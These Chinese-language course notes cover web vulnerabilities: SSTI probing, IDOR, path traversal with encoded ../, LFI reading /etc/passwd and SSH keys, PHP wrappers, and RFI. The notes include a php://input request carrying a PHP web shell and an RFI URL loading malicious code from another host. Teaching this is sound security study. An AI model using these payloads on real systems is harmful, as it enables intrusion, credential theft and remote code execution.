後端延伸&路徑&LFI&RFI
文件驅動路徑
src/
└── pages/
├── index.js
├── about.js
└── contact.js
../
進行 Path Traversal測試有無index.php
404
運作
文件驅動路徑
路由驅動邏輯
src/
└── app/
├── page.js
├── about/
│ └── page.js
└── contact/
└── page.js
測試有無"/"路徑
404
運作
當一個網站有SSTI漏洞時,可以利用{{7*7}}來判斷後端是甚麼模板
無效的存取控管,它是由 2013 年的兩項指標所合併的
「不安全的物件參考(Insecure Direct Object References)」
「不安全的功能控管(Missing Function Level Access Control)
相同權限
A得到B的身分
https: /example.com?user=00001
⭣
https: /example.com?user=00002
不同權限
一般身分獲得管理員身分
https: /example.com?user=Liar
⭣
https: /example.com?user=admin
路徑遍歷(Path Traversal)就像想像網站是一個博物館,裡面有許多房間,其中有些房間是 Staff Only 而且門上了鎖不讓訪客進入,但有趣的是博物館裡的每一個房間都有通風口,只要知道房間位置,就可以透過其他房間的通風口前往 Staff Only 的房間獲得所有你想要的資料。
Linux 中,目錄的顯示是 / Users / hello / Desktop / file
輸入 cd ../ 指令時,當前的目錄就會回到上一層
SO?
當這個指令是任一使用者測試在網站 URL 上輸入 ../ 都可以成功執行回到網站目錄上一層的時候問題就大條了
嘗試訪問目錄外的路徑
https://www.example.com/../../../../some dir/some file
藉由多次的 ../ 來超脫當前的目錄,訪問不在目錄下的資料。
BUT
只要不允許../的出現,那麼針對路徑遍歷的攻擊也就無用武之地了吧?
但我們可是駭客欸
怎麼可能那麼乖
不讓我們用我們就換個方式用:happy_mention:
HTML Encoder:這是為了避免特殊符號造成的顯示問題,以及避免HTML 將 URL 中的特殊符號視為語法而產生的編碼
知道這個能幹嘛?
不讓我們打../我們就打轉換成HTML Encoder的../吧:D
<script>alert(1);</script>
⭣
%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
%00
) 可以截斷後續的字符串處理嘗試讀取目錄中的系統檔案
https://www.example.com/get-files?file=/etc/passwd
藉由 /etc/passwd 來嘗試直接讀取系統檔案
有可能藉此解讀 root user 的密碼
/etc/httpd/conf/httpd.conf -> Apache設定
/root/.ssh/id_rsa -> ssh key
可以修改內容的檔案
https: /example.com/?file=/tmp/sess_{session_name}
注入惡意代碼,並利用 LFI 漏洞包含這些文件,最終實現惡意代碼執行(甚至是 RCE)
php中的偽協議
file://
http://
php:// #php://filter , php://imput..
zip://
phar://
利用 PHP 提供的 偽協議(Wrapper) 來進一步擴大攻擊範圍,達成文件讀取或代碼執行的目的
php://filter 用於讀取源代碼
php://input可以將惡意代碼放入 HTTP 請求體中
php://memory 和 php://temp創建臨時存儲空間
data://可以通過 data:// 注入並執行代碼
POST /?file=php://input HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
<?php system($_GET['cmd']); ?>
嘗試使網站引用外部文件或腳本
https://www.example.com/get-files?file=http://other-site.com/malicius-code.php
將其他網站中的文件包含到當前網站的目錄,讓系統去引用攻擊者的惡意外部文件或腳本
截止是12/18 12:00AMㄛ